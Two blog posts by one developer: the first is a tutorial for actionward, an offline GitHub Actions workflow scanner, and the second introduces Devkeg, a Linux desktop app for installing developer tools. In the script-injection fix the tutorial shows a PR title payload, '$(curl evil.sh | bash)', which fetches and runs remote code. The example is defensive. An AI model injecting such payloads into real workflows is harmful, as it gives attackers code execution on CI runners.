DEV Community: TANK JAY

I wanted a zero-config Actions security scanner, so I built one: actionward

TANK JAY — Tue, 08 Sep 2026 05:02:01 +0000

Most of my GitHub Actions workflows are three steps long. They still manage to
be one of the softest spots in a repo: a stray ${{ github.event.* }} in a
run: block, a token with write-all, an action pinned to a mutable tag. The
tools that catch this stuff tend to be heavy - org-scoped policy engines, a
SaaS dashboard, something that wants a token and a network round-trip before it
tells me anything.

I just wanted a binary I could drop into any repo and run offline. No account,
no config, no credentials leaving my laptop. That itch became actionward.

This is the fast, hands-on tour: install it, run it, read a real finding, fix
two concrete vulnerabilities, then wire it into CI.

What it is (in one breath)

actionward is a single Go binary that statically analyzes the workflow files
under .github/workflows/. It makes no network calls and reads no
credentials. It ships 14 rules and, for each finding, tells you why it
matters and how to fix it. Output is text, JSON, or SARIF v2.1.0 for
GitHub code-scanning.

Install and run

git clone https://github.com/jay-tank/actionward
cd actionward
go build -o actionward ./cmd/actionward

# scan the current repo
./actionward scan .

That's the whole setup. Point it at a directory (or a single workflow file) and
it prints findings. Here's the shape of a real one:

HIGH  script-injection  .github/workflows/pr.yml:14
  Untrusted input `github.event.pull_request.title` is interpolated directly
  into a run script and can execute arbitrary shell.
  Fix: pass the value through an `env:` block and reference it as "$TITLE".

Rationale plus remediation, right in the output. Now let's actually fix things.

Fix #1 - script injection

The classic. You interpolate an attacker-controllable field straight into a
shell command:

# BEFORE - actionward: HIGH script-injection
- name: Greet
  run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"

A PR title of $(curl evil.sh | bash) runs on your runner. The fix is to move
the value into the environment, where the shell treats it as data, not code:

# AFTER - clean
- name: Greet
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Thanks for the PR: $TITLE"

actionward also flags the sneakier variant of this rule: writing untrusted
input into $GITHUB_ENV, which can smuggle values into later steps.

Fix #2 - least privilege for the token

By default a lot of workflows inherit a broad GITHUB_TOKEN. This one asks for
everything:

# BEFORE - actionward: HIGH write-all-permissions
permissions: write-all

jobs:
  build:
    runs-on: ubuntu-latest

If any step is compromised, so is your whole repo. Scope it down to exactly what
the job needs:

# AFTER - least privilege
permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest

The permissions rules also cover unscoped tokens and risky OIDC configurations -
same principle, grant the minimum.

Fix #3 - pin your actions

Referencing an action by a moving tag means whatever @v4 points to today can
change under you tomorrow:

# BEFORE - actionward: MEDIUM unpinned-action
- uses: actions/checkout@v4

Pin to an immutable commit SHA (a full-length pin is the safe form):

# AFTER - pinned
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Other rules in the set worth knowing about: risky checkouts under
pull_request_target / workflow_run, cache poisoning, curl | bash, secrets
hardcoded in run:, secrets leaking through uploaded artifacts, self-hosted
runners on public repos, and continue-on-error slapped on a security step so
it never actually blocks anything.

Wire it into CI

The real payoff is failing a PR before the risky workflow merges. actionward
ships a composite Action that emits SARIF, so findings show up in the repo's
Security → Code scanning tab:

name: actionward
on: [pull_request]

permissions:
  contents: read
  security-events: write   # needed to upload SARIF

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: jay-tank/actionward@v0.1.0
        with:
          format: sarif
          output: actionward.sarif
      - uses: github/codeql-action/upload-sarif@v3
        with:
          sarif_file: actionward.sarif

Prefer to keep it lean? Build the binary in the job and run actionward scan .
directly - same result, one fewer moving part.

Adopting it in an existing repo

Turning a scanner on for a repo that already has a dozen findings is how
scanners get ignored. actionward has a --baseline mode for exactly this: it
records today's findings and then only gates on new ones, so your build goes
green immediately and you burn down the backlog on your own schedule.

# record current findings once, commit the baseline
./actionward scan . --baseline .actionward-baseline.json

# later runs fail only on findings not in the baseline
./actionward scan . --baseline .actionward-baseline.json

For the handful of findings you've reviewed and consciously accept, there's a
project-level .actionward.yml config and an inline # actionward:ignore
comment for a single line. No editing source to silence a rule globally when you
only meant to accept one case.

Where it's going

v0.1.0 is deliberately small: scan, explain, gate - offline. On the roadmap are
an auto-fix mode (apply the env: rewrite for you) and SHA pinning
assistance so the fixes above become one command instead of a manual edit. Those
aren't shipped yet; the 14 rules and SARIF output are.

Try it

Repo: https://github.com/jay-tank/actionward - clone, go build, scan .,
and see what your workflows have been hiding.

If you want the background on why each rule exists, GitHub's own
security hardening for GitHub Actions
is the canonical reference and pairs well with running the scanner.

Jay Tank

I built Devkeg: a desktop control center for your dev tools

TANK JAY — Wed, 29 Jul 2026 04:01:57 +0000

Setting up a fresh developer machine is death by a thousand commands. You hunt down install
instructions, juggle apt, dnf, pacman, brew, and curl | bash, patch your PATH, and then
spend the next six months quietly fighting version drift. There's no single, friendly place that just
tells you what's installed, what's outdated, and how to fix it.

So I built one. It's called Devkeg — a desktop app that detects, installs, updates, and
uninstalls your developer and DevOps tools from one clean UI.

TL;DR — Devkeg is a Linux desktop app (Tauri + Rust + SvelteKit) that puts a GUI on top of
proven package managers (mise + your distro's) instead of reinventing installers. Open source:
https://github.com/jay-tank/devkeg.

The problem: your toolchain has no dashboard

Every other part of your stack has a dashboard — your cloud bill, your CI, your observability. But
the tools on your own machine live in a fog. Which are installed? Which are behind? The CLI tools
that manage this (mise, asdf, distro managers) are powerful but CLI-only and fragmented. There's
no visual control center. That's the gap Devkeg fills.

The one decision that shaped everything: orchestrate, don't reinvent

The tempting mistake is to write your own installers for 20+ tools — a bottomless pit of edge cases,
and every line a way to break someone's machine. Devkeg does the opposite. It's an orchestration
layer over proven backends: mise for languages/runtimes/tools in user
space, and your distro's package manager for system packages. Devkeg's job is the experience — not
reimplementing what mise and apt already do well. Every install path we don't write is a bug our
users can't hit.

Architecture

Adding a new tool doesn't touch the core — it's just a small TOML file (data, not code):

# registry/kubectl.toml
name        = "kubectl"
category    = "container"
detect_cmd  = "kubectl"
detect_args = ["version", "--client"]
backend     = "distro"

Why Tauri instead of Electron

The UI is web tech, so Electron was the obvious default. I didn't use it. For a developer tool,
footprint is a feature: a comparable Electron app ships ~120 MB and idles at 200 MB+ RAM; the
equivalent Tauri build is a ~4 MB binary on the system WebView. Shipping a bloated app to
manage other apps would be a bad look — and Tauri's Rust core gives safe subprocess handling for free.

Reliability: the boring guarantees that matter

User-space first. Prefer mise (installs to ~/.local) so most actions need no root. When elevation is genuinely required, prompt explicitly via pkexec — never silently sudo.
Verify everything. After each install/update, Devkeg re-detects the tool and confirms it runs, returning a structured result. No silent half-installs.
Correct root detection. The elevation decision uses the real effective UID (geteuid()), not brittle environment guesses.

A lesson that cost me a rebuild: the glibc trap

I built the .deb on Ubuntu 24.04, it worked in my container, then refused to launch on Ubuntu 22.04:

devkeg: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.39' not found

glibc is forward-compatible, not backward — a binary built against 24.04's glibc (2.39) can't run
on 22.04's (2.35). The rule:

Build release binaries on the oldest distro you intend to support.

I moved the release build to Ubuntu 22.04 and pinned it in CI (runs-on: ubuntu-22.04) so the mistake
can't return.

Packaging and CI

Devkeg ships as a .deb and an AppImage, built by GitHub Actions. A v* tag triggers a
workflow that builds both on Ubuntu 22.04 and attaches them to the GitHub Release. Third-party actions
are pinned to commit SHAs.

What's next

v0.1 is the "control center": detect + install/update/uninstall across ~17 tools. Next up: environment
profiles with export/import, health checks and recommendations, a community plugin registry, then
macOS (the backends are already OS-isolated).

Try it

Devkeg is open source (MIT). Grab the .deb or AppImage from the releases page, or read the code:
https://github.com/jay-tank/devkeg. If you build developer tools, I'd love feedback on the
"orchestrate, don't reinvent" bet the whole project rests on.